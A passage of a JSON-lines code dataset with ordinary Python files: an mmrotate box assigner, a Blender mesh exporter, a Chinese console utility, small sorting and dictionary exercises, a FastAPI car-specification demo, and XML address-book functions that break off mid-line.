+{"seq_id":"18613174190","text":"import torch\nfrom mmcv.ops import convex_iou, points_in_polygons\nfrom mmdet.core.bbox.assigners.assign_result import AssignResult\nfrom mmdet.core.bbox.assigners.base_assigner import BaseAssigner\n\nfrom ..builder import ROTATED_BBOX_ASSIGNERS\n\n\ndef convex_overlaps(gt_rbboxes, points):\n    \"\"\"Compute overlaps between polygons and points.\n\n    Args:\n        gt_rbboxes (torch.Tensor): Groundtruth polygons, shape (k, 8).\n        points (torch.Tensor): Points to be assigned, shape(n, 18).\n\n    Returns:\n        overlaps (torch.Tensor): Overlaps between k gt_bboxes and n bboxes,\n            shape(k, n).\n    \"\"\"\n    if gt_rbboxes.shape[0] == 0:\n        return gt_rbboxes.new_zeros((0, points.shape[0]))\n    overlaps = convex_iou(points, gt_rbboxes)\n    return overlaps\n\n\ndef get_horizontal_bboxes(gt_rbboxes):\n    \"\"\"Get horizontal bboxes from polygons.\n\n    Args:\n        gt_rbboxes (torch.Tensor): Groundtruth polygons, shape (k, 8).\n\n    Returns:\n        gt_rect_bboxes (torch.Tensor): The horizontal bboxes, shape (k, 4).\n    \"\"\"\n    gt_xs, gt_ys = gt_rbboxes[:, 0::2], gt_rbboxes[:, 1::2]\n    gt_xmin, _ = gt_xs.min(1)\n    gt_ymin, _ = gt_ys.min(1)\n    gt_xmax, _ = gt_xs.max(1)\n    gt_ymax, _ = gt_ys.max(1)\n    gt_rect_bboxes = torch.cat([\n        gt_xmin[:, None], gt_ymin[:, None], gt_xmax[:, None], gt_ymax[:, None]\n    ],\n                               dim=1)\n    return gt_rect_bboxes\n\n\ndef AspectRatio(gt_rbboxes):\n    \"\"\"Compute the aspect ratio of all gts.\n\n    Args:\n        gt_rbboxes (torch.Tensor): Groundtruth polygons, shape (k, 8).\n\n    Returns:\n        ratios (torch.Tensor): The aspect ratio of gt_rbboxes, shape (k, 1).\n    \"\"\"\n    pt1, pt2, pt3, pt4 = gt_rbboxes[..., :8].chunk(4, 1)\n    edge1 = torch.sqrt(\n        torch.pow(pt1[..., 0] - pt2[..., 0], 2) +\n        torch.pow(pt1[..., 1] - pt2[..., 1], 2))\n    edge2 = torch.sqrt(\n        torch.pow(pt2[..., 0] - pt3[..., 0], 2) +\n        torch.pow(pt2[..., 1] - pt3[..., 1], 2))\n    edges = torch.stack([edge1, edge2], dim=1)\n    width, _ = torch.max(edges, 1)\n    height, _ = torch.min(edges, 1)\n    ratios = (width / height)\n    return ratios\n\n\n@ROTATED_BBOX_ASSIGNERS.register_module()\nclass SASAssigner(BaseAssigner):\n    \"\"\"Assign a corresponding gt bbox or background to each bbox. Each\n    proposals will be assigned with `0` or a positive integer indicating the\n    ground truth index.\n\n    - 0: negative sample, no assigned gt\n    - positive integer: positive sample, index (1-based) of assigned gt\n\n    Args:\n        scale (float): IoU threshold for positive bboxes.\n        pos_num (float): find the nearest pos_num points to gt center in this\n        level.\n    \"\"\"\n\n    def __init__(self, topk):\n        self.topk = topk\n\n    def assign(self,\n               bboxes,\n               num_level_bboxes,\n               gt_bboxes,\n               gt_bboxes_ignore=None,\n               gt_labels=None):\n        \"\"\"Assign gt to bboxes.\n\n        The assignment is done in following steps\n\n        1. compute iou between all bbox (bbox of all pyramid levels) and gt\n        2. compute center distance between all bbox and gt\n        3. on each pyramid level, for each gt, select k bbox whose center\n           are closest to the gt center, so we total select k*l bbox as\n           candidates for each gt\n        4. get corresponding iou for the these candidates, and compute the\n           mean and std, set mean + std as the iou threshold\n        5. select these candidates whose iou are greater than or equal to\n           the threshold as positive\n        6. limit the positive sample's center in gt\n\n        Args:\n            bboxes (torch.Tensor): Bounding boxes to be assigned, shape(n, 4).\n            num_level_bboxes (List): num of bboxes in each level\n            gt_bboxes (torch.Tensor): Groundtruth boxes, shape (k, 4).\n            gt_bboxes_ignore (Tensor, optional): Ground truth bboxes that are\n                labelled as `ignored`, e.g., crowd boxes in COCO.\n            gt_labels (Tensor, optional): Label of gt_bboxes, shape (k, ).\n\n        Returns:\n            :obj:`AssignResult`: The assign result.\n        \"\"\"\n        INF = 100000000\n\n        num_gt, num_bboxes = gt_bboxes.size(0), bboxes.size(0)\n        overlaps = convex_overlaps(gt_bboxes, bboxes)\n        assigned_gt_inds = overlaps.new_full((num_bboxes, ),\n                                             0,\n                                             dtype=torch.long)\n\n        if num_gt == 0 or num_bboxes == 0:\n            max_overlaps = overlaps.new_zeros((num_bboxes, ))\n            if num_gt == 0:\n                assigned_gt_inds[:] = 0\n            if gt_labels is None:\n                assigned_labels = None\n            else:\n                assigned_labels = overlaps.new_full((num_bboxes, ),\n                                                    -1,\n                                                    dtype=torch.long)\n            return AssignResult(\n                num_gt, assigned_gt_inds, max_overlaps, labels=assigned_labels)\n\n        # compute center distance between all bbox and gt\n        # the center of poly\n        gt_bboxes_hbb = get_horizontal_bboxes(gt_bboxes)\n\n        gt_cx = (gt_bboxes_hbb[:, 0] + gt_bboxes_hbb[:, 2]) / 2.0\n        gt_cy = (gt_bboxes_hbb[:, 1] + gt_bboxes_hbb[:, 3]) / 2.0\n        gt_points = torch.stack((gt_cx, gt_cy), dim=1)\n\n        bboxes = bboxes.reshape(-1, 9, 2)\n        pts_x = bboxes[:, :, 0::2]\n        pts_y = bboxes[:, :, 1::2]\n\n        pts_x_mean = pts_x.mean(dim=1).squeeze()\n        pts_y_mean = pts_y.mean(dim=1).squeeze()\n\n        bboxes_points = torch.stack((pts_x_mean, pts_y_mean), dim=1)\n\n        distances = (bboxes_points[:, None, :] -\n                     gt_points[None, :, :]).pow(2).sum(-1).sqrt()\n\n        # Selecting candidates based on the center distance\n        candidate_idxs = []\n        start_idx = 0\n        for level, bboxes_per_level in enumerate(num_level_bboxes):\n            end_idx = start_idx + bboxes_per_level\n            distances_per_level = distances[start_idx:end_idx, :]\n            _, topk_idxs_per_level = distances_per_level.topk(\n                self.topk, dim=0, largest=False)\n            candidate_idxs.append(topk_idxs_per_level + start_idx)\n            start_idx = end_idx\n        candidate_idxs = torch.cat(candidate_idxs, dim=0)\n\n        gt_bboxes_ratios = AspectRatio(gt_bboxes)\n        gt_bboxes_ratios_per_gt = gt_bboxes_ratios.mean(0)\n        candidate_overlaps = overlaps[candidate_idxs, torch.arange(num_gt)]\n        overlaps_mean_per_gt = candidate_overlaps.mean(0)\n        overlaps_std_per_gt = candidate_overlaps.std(0)\n        overlaps_thr_per_gt = overlaps_mean_per_gt + overlaps_std_per_gt\n\n        # new assign\n        iou_thr_weight = torch.exp((-1 / 4) * gt_bboxes_ratios_per_gt)\n        overlaps_thr_per_gt = overlaps_thr_per_gt * iou_thr_weight\n        is_pos = candidate_overlaps >= overlaps_thr_per_gt[None, :]\n\n        # limit the positive sample's center in gt\n        # inside_flag = torch.full([num_bboxes, num_gt],\n        #                          0.).to(gt_bboxes.device).float()\n        inside_flag = points_in_polygons(bboxes_points, gt_bboxes)\n        # pointsJf(bboxes_points, gt_bboxes, inside_flag)\n        is_in_gts = inside_flag[candidate_idxs,\n                                torch.arange(num_gt)].to(is_pos.dtype)\n\n        is_pos = is_pos & is_in_gts\n        for gt_idx in range(num_gt):\n            candidate_idxs[:, gt_idx] += gt_idx * num_bboxes\n        candidate_idxs = candidate_idxs.view(-1)\n\n        # if an anchor box is assigned to multiple gts,\n        # the one with the highest IoU will be selected.\n        overlaps_inf = torch.full_like(overlaps,\n                                       -INF).t().contiguous().view(-1)\n        index = candidate_idxs.view(-1)[is_pos.view(-1)]\n\n        overlaps_inf[index] = overlaps.t().contiguous().view(-1)[index]\n        overlaps_inf = overlaps_inf.view(num_gt, -1).t()\n\n        max_overlaps, argmax_overlaps = overlaps_inf.max(dim=1)\n        assigned_gt_inds[\n            max_overlaps != -INF] = argmax_overlaps[max_overlaps != -INF] + 1\n\n        if gt_labels is not None:\n            assigned_labels = assigned_gt_inds.new_full((num_bboxes, ), -1)\n            pos_inds = torch.nonzero(\n                assigned_gt_inds > 0, as_tuple=False).squeeze()\n            if pos_inds.numel() > 0:\n                assigned_labels[pos_inds] = gt_labels[\n                    assigned_gt_inds[pos_inds] - 1]\n        else:\n            assigned_labels = None\n        return AssignResult(\n            num_gt, assigned_gt_inds, max_overlaps, labels=assigned_labels)\n","repo_name":"open-mmlab/mmrotate","sub_path":"mmrotate/core/bbox/assigners/sas_assigner.py","file_name":"sas_assigner.py","file_ext":"py","file_size_in_byte":8601,"program_lang":"python","lang":"en","doc_type":"code","stars":1572,"dataset":"github-code","pt":"60"}
+{"seq_id":"30854573329","text":"#\n# Blender Mesh Export\n#\n\nimport bpy\nimport os\n\noutput_buffer = \"\"\n\ndef writeLn(txt):\n    global output_buffer\n    print(txt)\n    output_buffer += txt\n    output_buffer += '\\n'\n\ndef write(txt):\n    global output_buffer\n    print(txt, end='')\n    output_buffer += txt\n\ndef export_current_object():\n\n    global output_buffer\n\n    obdata = bpy.context.object.data\n\n    writeLn('////////////////////////////////////////////////////////////////////////////////')\n    writeLn('// Mesh data')\n    writeLn('// @generated')\n    writeLn('// clang-format off')\n    writeLn('////////////////////////////////////////////////////////////////////////////////\\n')\n\n    writeLn('static const std::vector<graphics::Vertex> vertices {')\n    for v in obdata.vertices:\n        write(f'    {{ {v.co.x}, {v.co.y}, {v.co.z} }}')\n        writeLn(',') if v != obdata.vertices[-1] else writeLn('')\n    writeLn('};\\n')\n\n    writeLn('static const std::vector<graphics::Face> faces {')\n    for f in obdata.polygons:\n        if len(f.vertices) == 3:\n            write(f'    {{ {f.vertices[0]}, {f.vertices[1]}, {f.vertices[2]} }}')\n        elif len(f.vertices) == 4:\n            write(f'    {{ {f.vertices[0]}, {f.vertices[1]}, {f.vertices[2]}, {f.vertices[3]} }}')\n        else:\n            continue\n        writeLn(',') if f != obdata.polygons[-1] else writeLn('')\n    writeLn('};')\n\n    document_path = os.path.expanduser('~/Documents')\n    out_file = document_path + '/mesh.inc'\n\n    f = open(out_file, 'w')\n    f.writelines(output_buffer)\n    f.close()\n\n    print(f'\\nwritten mesh data to {out_file}')\n\nexport_current_object()\n","repo_name":"rolandshacks/esp32hacks","sub_path":"tools/blender_export.py","file_name":"blender_export.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"21011298428","text":"import time\n\n\n相对导入=bool(__package__)\n\n\nif 相对导入:\n    from .p import cmdp as c\n    try:\n        from .p import linp as p\n    except ImportError:\n        from .p import winp as p\nelse:\n    import p.cmdp as c\n    try:\n        import p.linp as p\n    except ImportError:\n        import p.winp as p\n\n\n\n#通用终端方法\n获取屏幕宽高=c.获取屏幕宽高\n打印=c.打印\n写缓冲区=c.写缓冲区\n刷新缓冲区=c.刷新缓冲区\n清屏=c.清屏\n清行=c.清行\n插入字符=c.插入字符\n删除字符=c.删除字符\n擦除字符=c.擦除字符\n插入行=c.插入行\n删除行=c.删除行\n设置光标位置=c.设置光标位置\n设置光标相对行=c.设置光标相对行\n保存光标位置=c.保存光标位置\n恢复光标位置=c.恢复光标位置\n设置光标可见=c.设置光标可见\n设置光标闪烁=c.设置光标闪烁\n设置文本样式=c.设置文本样式\n设置滚动区域=c.设置滚动区域\n设置窗口标题=c.设置窗口标题\n设置备用缓冲区=c.设置备用缓冲区\n软重置=c.软重置\n打印s=c.打印s\n\n\n#平台特异的方法\n获取用户输入=p.获取用户输入\n获取光标位置=p.获取光标位置\n密码输入=p.密码输入\n\n\ndef 按任意键继续(提示信息=\"\",提示信息_0=\"按\",提示信息_1=\"任意\",提示信息_2=\"键\",提示信息_3=\"继续\"):\n\twith 获取用户输入() as h:\n\t\tprint(提示信息+提示信息_0+提示信息_1+提示信息_2+提示信息_3,end=\"\",flush=True)\n\t\tif(h.获取输入()=='\\x03'):\n\t\t\traise KeyboardInterrupt\n\t\tprint()\n\n\ndef 清除光标后内容():\n\tx,y=获取屏幕宽高()\n\tx0,y0=获取光标位置()\n\t打印(' '*(x-x0+(y-y0)*x))\n\t设置光标位置(x0,y0)\n\n\nclass 动画:\n\tdef __init__():\n\t\traise\n\n\tdef 渐退(x,速度=.05):\n\t\tfor i in range(x):\n\t\t\t打印(\"\\b \\b\")\n\t\t\ttime.sleep(速度)\n\t\n\tdef 渐退至(x,速度=.05):\n\t\tx_,y_=获取光标位置()\n\t\tif x_<=x:\n\t\t\t设置光标位置(x,y_)\n\t\telse:\n\t\t\tfor i in range(x_-x):\n\t\t\t\t打印(\"\\b \\b\")\n\t\t\t\ttime.sleep(速度)\n\n\n\tdef 渐退至行首(速度=.05):\n\t\t动画.渐退至(0,速度)\n\t\n\tdef 渐打印(文字,速度=.05):\n\t\tfor i in range(len(文字)):\n\t\t\t打印(文字[i])\n\t\t\ttime.sleep(速度)\n\n\t\n\n\n\ndef main():\n\t设置备用缓冲区(1)\n\t清屏()\n\t设置文本样式(1,5,1,1,1,1,1)\n\t动画.渐打印(\"Hello, World\",0.1)\n\t设置文本样式()\n\t打印(\"\\n光标位置:\")\n\t打印(str(获取光标位置()))\n\ttime.sleep(1)\n\t设置光标位置(0,8)\n\t按任意键继续()\n\t打印(\"\\n光标位置:\")\n\t打印(str(获取光标位置()))\n\ttime.sleep(1)\n\t打印(\"\\n\")\n\t打印s(\"R\",1)\n\t打印(\"!\")\n\t打印s(\"G\",2)\n\t打印(\"!\")\n\t打印s(\"B\",4)\n\t打印(\"!\")\n\t打印(\"\\n\")\n\t打印(密码输入())\n\t打印(\"\\n\")\n\traise Exception(\"这是一个错误\")\n\t按任意键继续(提示信息_3=\"退出\")\n\t设置备用缓冲区(0)\n\n\n\nif __name__=='__main__':\n\tmain()","repo_name":"xzx482/consoleApi_","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"52706649","text":"import sys\nfrom heapq import nlargest\n\nsys.stdin = open('input.txt')\ninput = sys.stdin.readline\n\n#D = dict()\nD = {}          # D[key] = value , D[pid] = [salary, C, J, P]\n\n# d = {'d':3,  'b':2, 'c':1}\n# print(d)\n# print(d.keys())\n# print(d.values())\n# print(d.items())\n# print(min(d, key=lambda x : d[x]))\n# print(min(d.values()))\n\nfor _ in range(int(input())):\n    cmd = input().split()\n    data = list(map(int, cmd[1:]))\n\n    if cmd[0]=='register':\n        D[data[0]] = data[1:]\n        # data[0] = pid , data[1:] = [salary, C, J, P]\n\n    elif cmd[0]=='cancel':\n        if data[0] in D:\n            del D[data[0]]\n\n    elif cmd[0]=='update':\n        pid, flag, X = data\n        if pid in D:\n            D[pid][flag+1] = X\n\n    elif cmd[0] == 'hire_min':\n        # 1. salary 작은순\n        # 2. pid 작은순\n        pid = min(D.items(), key = lambda x: (x[1][0], x[0]))[0]     # x[0]=pid, x[1]=[salary, C, J, P]\n        print(pid)\n        del D[pid]\n\n    else:\n        # 1. 평균역량 높은순   : (C+J+P)/3 -> 합으로 처리 (C+J+P)\n        # 2. pid 큰순\n\n        ## 1. max : O(n * 3)\n        # for _ in range(3):\n        #     pid = max(D, key = lambda x: (sum(D[x][1:]), x))\n        #     print(pid, end=' ')\n        #     del D[pid]\n        # print()\n\n        ## 2. nlargest : O(n + 3 log n) or O(n log 3)\n        best = nlargest(3, D.items(), key = lambda x : (sum(x[1][1:]), x))\n        for pid, _ in best:\n            print(pid, end = ' ')\n            del D[pid]\n        print()","repo_name":"hancom-teriusu/3B_Python","sub_path":"Concept/02_개발자영입_dict.py","file_name":"02_개발자영입_dict.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"42707248636","text":"from fastapi import FastAPI, Request\r\nfrom pydantic import BaseModel\r\napp = FastAPI()\r\n\r\n#minimal app \r\n@app.get(\"/\", tags=['ROOT'])\r\nasync def root() -> dict:\r\n    return{\"API\":\"Working\"}\r\n\r\n\r\n#get --> read todo\r\n@app.get(\"/todo\",tags=[\"todos\"])\r\nasync def get_todo() -> dict:\r\n    return{\"data\": todos}\r\n\r\n# @app.get(\"/todo/{id}\",tags=[\"todos\"])\r\n# async def get_todo_id(id:int) ->:\r\n#     for todo in todos:\r\n#         if int(todo['id']) == id:\r\n#             return{\r\n\r\n#             }\r\n\r\n#post --> create todo\r\n@app.post(\"/todo\", tags=[\"todos\"])\r\nasync def add_todo(todo:dict) -> dict:\r\n    todos.append(todo)\r\n    return{\r\n        \"data\": \"A todo has been added!\"\r\n    }\r\n\r\n\r\nasync def get_car(car_name: dict):\r\n    name = car_name.get(\"name\")\r\n    if name not in cars:\r\n        return {\"error\": \"Car not found\"}\r\n    return cars[name]\r\n\r\n\r\n\r\n\r\n\r\n\r\n#put --> update todo\r\n@app.put(\"/todo/{id}\",tags=[\"todos\"])\r\nasync def update_todo(id:int, body:dict) -> dict:\r\n    for todo in todos:\r\n        if int(todo['id']) == id:\r\n            todo['Activity'] = body['Activity']\r\n            return{\r\n                \"data\":f\"Todo with id {id} has been updated\"\r\n            }\r\n    return{\r\n        \"data\":f\"Todo with id {id} was not found\"\r\n    }\r\n\r\n#delete --> delete todo\r\n@app.delete(\"/todo/{id}\",tags=[\"todos\"])\r\nasync def delete_todo(id:int) -> dict:\r\n    for todo in todos:\r\n        if int(todo['id']) == id:\r\n            todos.remove(todo)\r\n            return{\r\n                \"data\":f\"Todo with {id} has been deleted\"\r\n            }\r\n\r\n\r\n\r\n\r\ntodos = [\r\n    {\r\n        \"id\":\"1\",\r\n        \"Activity\":\"Create a demo for oberoi\"\r\n    },\r\n    {\r\n        \"id\":\"2\",\r\n        \"Activity\":\"Debug the pop up and save to pdf js\"\r\n    }\r\n]\r\n\r\n\r\n@app.post(\"/cars/astor\",tags=[\"cars_demo\"])\r\nasync def car_astor() -> dict:\r\n    return cars\r\n\r\n\r\nclass CarRequest(BaseModel):\r\n    car_name: str\r\n\r\n@app.post(\"/car_details\", tags=[\"chat\"])\r\nasync def car_details(car_request: CarRequest):\r\n    car_name = car_request.car_name\r\n    if car_name in my_cars:\r\n        return my_cars[car_name]\r\n    else:\r\n        return {\"error\": \"Car not found.\"}\r\n\r\ncars={\r\n    \"model\": \"Astor\",\r\n    \"colors\": \"Spiced Orange, Aurora Silver, Glaze Red, Candy White, Starry Black\",\r\n    \"price\": \"₹10.52 Lakh onwards\",\r\n    \"engine\": \"1349 to 1498 cc\",\r\n    \"Fuel Type\": \"Petrol\",\r\n    \"Seating Capacity\": \"5 Seater\"\r\n}\r\n\r\nmy_cars = {\r\n\r\n    # astor complete\r\n    \"Astor\":{\r\n        \"model\": \"Astor\",\r\n        \"colors\": \"Spiced Orange, Aurora Silver, Glaze Red, Candy White, Starry Black\",\r\n        \"price\": \"₹10.52 Lakh onwards\",\r\n        \"engine\": \"1349 to 1498 cc\",\r\n        \"fuel_type\": \"Petrol\",\r\n        \"seating_Capacity\": \"5 Seater\",\r\n        \"boot_space\":\"448L\",\r\n        \"ground_clearance\":\"180mm\",\r\n        \"fuel_tank\":\"48L\",\r\n        \"transmission\":\"6-speed automatic, 5-speed manual and Continuous Variable Transmission\",\r\n        \"infotainment\":\"Android Auto and Apple Car Play \"\r\n    },\r\n    \r\n    # astor ex complete\r\n    \"Astor EX\":{\r\n        \"model\": \"Astor EX\",\r\n        \"colors\": \"Spiced Orange, Aurora Silver, Glaze Red, Candy White, Starry Black\",\r\n        \"price\": \"₹10.52 Lakh onwards\",\r\n        \"engine\": \"1349 to 1498 cc\",\r\n        \"fuel_type\": \"Petrol\",\r\n        \"seating_capacity\": \"5 Seater\",\r\n        \"boot_space\":\"448L\",\r\n        \"ground_clearance\":\"180mm\",\r\n        \"fuel_tank\":\"48L\",\r\n        \"transmission\":\"Manual transmission\",\r\n        \"infotainment\":\"Android Auto (Wired) and Apple Car Play (Wired)\"\r\n    },\r\n    \r\n    # hector completed\r\n    \"MG Hector\":{\r\n        \"model\": \"Hector\",\r\n        \"colors\": \"Dune Brown, Havana Grey, Candy White with Starry Black, Candy White, Glaze Red, Aurora Silver, Starry Black\",\r\n        \"price\": \"₹15 Lakh onwards\",\r\n        \"engine\": \"1956 cc\",\r\n        \"fuel_type\": \"Diesel\",\r\n        \"seating_capacity\": \"5 Seater\",\r\n        \"boot_space\":\"587L\",\r\n        \"ground_clearance\":\"192mm\",\r\n        \"fuel_tank\":\"60L\",\r\n        \"transmission\":\"6-speed manual and Continuous variable transmission\",\r\n        \"infotainment\":\"Android Auto and Apple Car Play\"\r\n    },\r\n    \r\n    # hector plus 6 seater completed\r\n    \"MG Hector Plus 6 Seater\":{\r\n        \"model\": \"Hector Plus 6 seater\",\r\n        \"colors\": \"Dune Brown, Havana Grey, Candy White with Starry Black, Candy White, Glaze Red, Aurora Silver, Starry Black\",\r\n        \"price\": \"₹18 Lakh onwards\",\r\n        \"engine\": \"1956 cc\",\r\n        \"fuel_type\": \"Diesel\",\r\n        \"seating_capacity\": \"6 Seater\",\r\n        \"boot_space\":\"155L\",\r\n        \"ground_clearance\":\"192mm\",\r\n        \"fuel_tank\":\"60L\",\r\n        \"transmission\":\"6-speed manual and Continuous variable transmission\",\r\n        \"infotainment\":\"Android Auto and Apple Car Play\"\r\n    },\r\n    \r\n    # hector plus 7 seater completed\r\n    \"MG Hector Plus 7 Seater\":{\r\n        \"model\": \"Hector Plus 7 seater\",\r\n        \"colors\": \"Dune Brown, Havana Grey, Candy White with Starry Black, Candy White, Glaze Red, Aurora Silver, Starry Black\",\r\n        \"price\": \"₹18 Lakh onwards\",\r\n        \"engine\": \"1956 cc\",\r\n        \"fuel_type\": \"Diesel\",\r\n        \"seating_capacity\": \"7 Seater\",\r\n        \"boot_space\":\"155L\",\r\n        \"ground_clearance\":\"192mm\",\r\n        \"fuel_tank\":\"60L\",\r\n        \"transmission\":\"6-speed manual and Continuous variable transmission\",\r\n        \"infotainment\":\"Apple CarPlay and Android Auto\"\r\n    },\r\n    \r\n    # MG ZS EV completed\r\n    \"MG ZS EV\":{\r\n        \"model\": \"MG ZS EV\",\r\n        \"colors\": \"Glaze Red, Aurora Silver, Starry Black, Candy White\",\r\n        \"price\": \"₹23.38 Lakh onwards\",\r\n        \"engine\": \"Electric\",\r\n        \"charging_time\": \"8.5 to 9 hours\",\r\n        \"seating_capacity\": \"5 Seater\",\r\n        \"boot_space\":\"448L\",\r\n        \"ground_clearance\":\"177mm\",\r\n        \"battery\":\"50.3 kWh\",\r\n        \"transmission\":\"Automatic transmission\",\r\n        \"infotainment\":\"Android Auto and Apple Car Play\"\r\n    },\r\n    \r\n    #MG Gloster completed\r\n    \"MG Gloster\":{\r\n        \"model\": \"MG Gloster\",\r\n        \"colors\": \"Deep Golden, Metal Black, Metal Ash, Warm White\",\r\n        \"price\": \"₹38.08 Lakh onwards\",\r\n        \"engine\": \"1996 cc\",\r\n        \"fuel_type\": \"Diesel\",\r\n        \"seating_capacity\": \"6,7 Seater\",\r\n        \"boot_space\":\"343L\",\r\n        \"ground_clearance\":\"210mm\",\r\n        \"fuel_tank\":\"75L\",\r\n        \"transmission\":\"8-speed automatic transmission\",\r\n        \"infotainment\":\"Apple CarPlay and Android Auto\"\r\n    },\r\n    \r\n    #mg comet working (needs boot space)\r\n    \"MG Comet\":{\r\n        \"model\": \"MG Comet EV\",\r\n        \"colors\": \"Candy White With Starry Black, Apple Green With Starry Black, Starry Black, Aurora Silver and Candy White\",\r\n        \"price\": \"₹7.98 Lakh onwards\",\r\n        \"engine\": \"Electric\",\r\n        \"charging-time\": \"7 Hours\",\r\n        \"seating_capacity\": \"4 Seater\",\r\n        \"boot_space\":\"NAN\", # find and update the details\r\n        \"ground_clearance\":\"177mm\",\r\n        \"battery\":\"17.3 kWh\",\r\n        \"transmission\":\"Automatic transmission\",\r\n        \"infotainment\":\"Apple CarPlay and Android Auto\"\r\n    }  \r\n}\r\n# \"Spiced Orange, Aurora Silver, Glaze Red, Candy White, Starry Black\"\r\n\r\n@app.post(\"/cars/{car_name}\", tags=[\"car_demo\"])\r\nasync def get_person_address(car_name: str):\r\n        return my_cars[car_name]\r\n\r\n\r\n# @app.get(\"/person/{person_id}/address\")\r\n# async def get_person_address(person_id: str):\r\n#     return my_dict[person_id][\"address\"]\r\n\r\nmy_dict = {\r\n    \"person_1\": {\r\n        \"name\": \"John\",\r\n        \"age\": 30,\r\n        \"address\": {\r\n            \"street\": \"123 Main St\",\r\n            \"city\": \"New York\",\r\n            \"state\": \"NY\",\r\n            \"zipcode\": \"10001\"\r\n        }\r\n    },\r\n    \"person_2\": {\r\n        \"name\": \"Jane\",\r\n        \"age\": 25,\r\n        \"address\": {\r\n            \"street\": \"456 Second St\",\r\n            \"city\": \"San Francisco\",\r\n            \"state\": \"CA\",\r\n            \"zipcode\": \"94107\"\r\n        }\r\n    }\r\n}\r\n\r\n\r\n'''\r\nboot space\r\ngrund clearance\r\nsuspension\r\ntransmission\r\ncar play\r\nwheel size\r\ncar weight\r\n'''\r\n\r\n\r\n\r\n# This is the specification of the MG Astor.\r\n\r\n# Model: Astor\r\n# Colors: Spiced Orange, Aurora Silver, Glaze Red, Candy White, Starry Black\r\n# Price: ₹10.52 Lakh onwards\r\n# Engine: 1349 to 1498 cc\r\n# Fuel Type: Petrol\r\n# Seating Capacity: 5 Seater","repo_name":"learnpranjal/mindAIdemo","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13374138091","text":"\"\"\"\n68. 创建一个有关雇员姓名和编号处理的程序。从键盘输入一组雇员姓名和编号。\n    在此基础上实现：\n    a)  按照雇员姓名的顺序输出数据，雇员姓名显示在前面，后面是对应的雇员编号。\n    b)  按照雇员编号的顺序输出数据，雇员编号显示在前面，后面是对应的雇员姓名。\n\"\"\"\n\n\ndef getInformation():\n    information = dict()\n    print(\"注：若编号为空则结束输入。\")\n    while True:\n        number = input(\"请输入编号：\")\n        if not number:\n            break\n        number = int(number)\n        if information.get(number):\n            print(\"编号已占用，请重新输入\")\n            continue\n        Name = input(\"请输入姓名：\")\n        information[number] = Name\n    print()\n    return information\n\n\ndef Display(info_dict, name_order=False):\n    s = list(info_dict.items())\n    if name_order:\n        s.sort(key=lambda x: x[1])\n        for i in range(len(s)):\n            print(s[i][1], end='\\t')\n            print(s[i][0])\n    else:\n        s.sort(key=lambda x: x[0])\n        for i in range(len(s)):\n            print(s[i][0], end='\\t')\n            print(s[i][1])\n\n\nif __name__ == \"__main__\":\n    employees = getInformation()\n    print('按姓名排序：')\n    Display(employees, name_order=True)\n    print('按编号排序：')\n    Display(employees)\n","repo_name":"HolgerZhang/Holger-CS-Learn","sub_path":"Python/Lab.2019/Lab1-8/68.py","file_name":"68.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"2062244314","text":"#funciones Para aplicación de agenda \n#+++++ Examen de Recuperación +++++++\n#Integrantes: \n#  Alan Martínez Ruiz   2183076595\n#  Tania Salazar Ramírez  2183033769\n# Roles: Alan integración de la aplicación y diseño de las funciones\n#        Tania realización del frontend e investigación de docuemntación, creación del XML, DTD y XSL\n\nfrom lxml import etree\n\n\n\ndef AgregarXML(nombre, apellido, telefono, celular, correo, codigoPostal, estado, direccion):\n    \n    docXml = etree.parse(\"xml/agenda.xml\")\n    arbol = docXml.getroot()\n    \n    #Se crea el  nodo (contacto) y los subnodos (subelementos) del XML\n    \n    contacto = etree.Element(\"contacto\")\n    contacto.append(etree.Element(\"nombre\"))\n    contacto.append(etree.Element(\"apellido\"))\n    contacto.append(etree.Element(\"telefono\"))\n    contacto.append(etree.Element(\"celular\"))\n    contacto.append(etree.Element(\"correo\"))\n    contacto.append(etree.Element(\"codigoPostal\"))\n    contacto.append(etree.Element(\"estado\"))\n    contacto.append(etree.Element(\"direccion\"))\n    \n    #Se asigna el texto ingresado desde el formulario a cada etiqueta \n    contacto[0].text = nombre\n    contacto[1].text = apellido\n    contacto[2].text = telefono\n    contacto[3].text = celular\n    contacto[4].text = correo\n    contacto[5].text = codigoPostal\n    contacto[6].text = estado\n    contacto[7].text = direccion\n\n    #Agregamos los el elemento (contacto) a la raiz de nuestro arbol (agenda)\n    arbol.append(contacto)\n    \n    #Los agregamos al archivo xml de agenda\n    docXml.write(\"xml/agenda.xml\",  pretty_print=True, xml_declaration = True, encoding=\"utf-8\")\n\ndef buscarContacto(nombre, apellido):\n    doc = etree.parse('xml/agenda.xml')\n    arbol = doc.getroot()\n\n    #Para obtener todos los nodos \"contacto\"\n    contactos = arbol.findall(\"contacto\")\n\n    #Hacemos un reocrrido en cada contacto de agenda hasta obtener el deseado por el usuario\n    for c in contactos:\n        #Se busca que los datos de entrada coincidan para obtener la información de ese contacto\n        if c.find(\"nombre\").text == nombre and c.find(\"apellido\").text == apellido:\n            print(\"Se encontró\")\n            telefono = c.find(\"telefono\").text\n            celular = c.find(\"celular\").text\n            correo = c.find(\"correo\").text\n            codigoPostal = c.find(\"codigoPostal\").text\n            estado = c.find(\"estado\").text\n            direccion = c.find(\"direccion\").text\n            print(telefono, celular, correo, codigoPostal, estado, direccion)\n            \n            #Regresamos los datos del contacto que se encontró y los imprimimos en consola previamente(aquí los quería regresar para imprimirlos en la aplicación)\n            #Pero no me confundí usar el metodo get para poderlos mandar al template y que se mostrarán. Es la segunda vez que uso flask y estoy aprendiendo\n            return(c, doc, telefono, celular, correo, codigoPostal, estado, direccion)\n\ndef Bcontacto(nombre, apellido):\n    doc = etree.parse('xml/agenda.xml')\n    arbol = doc.getroot()\n\n    #Se obtiene el nodo (contacto) con los nodos hijos \n    contactos = 